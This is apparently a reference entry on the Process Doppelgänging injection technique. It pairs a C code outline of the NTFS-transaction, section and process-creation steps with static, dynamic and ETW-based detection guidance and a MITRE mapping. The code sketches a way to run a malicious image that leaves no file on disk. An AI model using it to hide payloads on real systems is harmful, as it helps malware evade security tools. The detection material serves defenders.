Process Doppelgänging
Abuses NTFS transactional (TxF) file operations to run a process image from a transacted, never-committed file, leaving no malicious file on disk.
Process Doppelgänging, disclosed by enSilo at Black Hat EU 2017, weaponizes NTFS Transactions (TxF) — a Windows feature that lets a set of file operations either commit atomically or roll back. The attacker opens a transaction, writes malicious content into a file inside that transaction, and creates an image section from the transacted file handle. Crucially, the transaction is then rolled back: from the perspective of every other process and every security product, the file on disk was never modified. Yet the section — and the process created from it — still carries the malicious image.
Unlike process hollowing, no WriteProcessMemory, VirtualAllocEx, or thread
context patching is needed against a victim. The malware leans on the documented
but rarely exercised NtCreateProcessEx, which builds a process directly from a
section object. Because the process is sourced from a transacted file that is
rolled back, the resulting EPROCESS points at backing storage that no longer
contains the malicious bytes, defeating tools that compare on-disk and in-memory
images.
How it works
The flow is: create transaction, transact-write the payload PE, section the handle, roll back, then spin up the process and its parameters:
#include <windows.h>
#include <winternl.h>
// 1. Start an NTFS transaction and open a throwaway file within it
HANDLE hTx = CreateTransaction(NULL, NULL, 0, 0, 0, 0, NULL);
HANDLE hFile = CreateFileTransactedW(L"C:\\Windows\\Temp\\benign.exe",
GENERIC_WRITE | GENERIC_READ, 0, NULL,
CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL,
hTx, NULL, NULL);
// 2. Write the malicious PE into the TRANSACTED file
WriteFile(hFile, pPayloadPE, dwPayloadSize, &written, NULL);
// 3. Create an image section backed by the transacted file
HANDLE hSection = NULL;
NtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, NULL,
PAGE_READONLY, SEC_IMAGE, hFile);
// 4. Roll back the transaction — the malicious file vanishes from disk
RollbackTransaction(hTx);
CloseHandle(hFile);
// 5. Create a process object directly from the section
HANDLE hProcess = NULL;
NtCreateProcessEx(&hProcess, PROCESS_ALL_ACCESS, NULL, GetCurrentProcess(),
0, hSection, NULL, NULL, FALSE);
// 6. Build process parameters / PEB and start the initial thread via
// RtlCreateProcessParametersEx + NtCreateThreadEx at the image entry point.After step 6 the operator queries the new process's entry point from the section
header, writes a RTL_USER_PROCESS_PARAMETERS block into its address space, and
calls NtCreateThreadEx to begin execution.
Detection & analysis
Static analysis: The combination of CreateTransaction,
CreateFileTransactedW/CreateFileTransactedA, RollbackTransaction,
NtCreateSection with SEC_IMAGE, and the lower-level NtCreateProcessEx /
NtCreateThreadEx imports is highly distinctive — legitimate applications almost
never create a process from a section by hand. Resolution of these Nt*/Rtl*
routines from ntdll by hash at runtime is itself a red flag.
Dynamic analysis: Trace TxF activity with the
Microsoft-Windows-Kernel-File and KTM (Kernel Transaction Manager) ETW
providers; a transaction that wraps a PE write and is then rolled back, around
the same time a new process appears, is the core signal. In a debugger, breakpoint
NtCreateProcessEx and inspect whether its section handle traces back to a
transacted, now-rolled-back file. Memory forensics tools such as pe-sieve and
Moneta flag the process whose primary image has no consistent backing file.
Detection rule hint: Correlate KTM transaction start/rollback events with a
SEC_IMAGE section creation on a transacted file handle and a subsequent
NtCreateProcessEx/NtCreateThreadEx from that section — when the originating
file's on-disk content does not match the image mapped into the new process,
treat it as Process Doppelgänging (MITRE T1055.013).